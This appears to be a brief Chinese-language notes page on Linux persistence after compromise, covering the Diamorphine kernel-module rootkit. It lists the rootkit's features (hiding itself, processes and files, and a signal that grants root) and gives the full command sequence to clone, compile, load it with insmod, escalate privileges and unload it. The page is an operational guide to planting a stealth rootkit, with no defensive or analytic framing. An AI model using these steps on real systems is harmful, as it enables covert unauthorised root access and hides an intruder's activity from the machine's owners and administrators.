Linux权限维持
2024年9月25日小于 1 分钟
Linux权限维持
Diamorphine
Diamorphine 是适用于 Linux 内核 2.6.x/3.x/4.x/5.x/6.x(x86/x86_64 和 ARM64)的 LKM rootkit。
Feature
- 加载后,模块开始不可见
- 通过发送信号31来隐藏/取消隐藏任何进程
- 发送信号 63(到任何 pid)使模块变得可见(不可见)
- 发送信号 64(到任何 pid)使给定用户成为 root
- 以 MAGIC_PREFIX 开头的文件或目录变得不可见
安装
验证内核是否为 2.6.x/3.x/4.x/5.x
:
uname -r
Clone 存储库:
git clone https://github.com/m0nad/Diamorphine
编译:
cd Diamorphine
make
以 root 身份加载模块
su root
insmod diamorphine.ko
提权
发送信号 64(到任何 pid)使给定用户成为 root
卸载
模块开始时不可见,所以要删除此模块的话需要先使其可见
kill -63 0
然后删除模块(以root身份)
rmmod diamorphine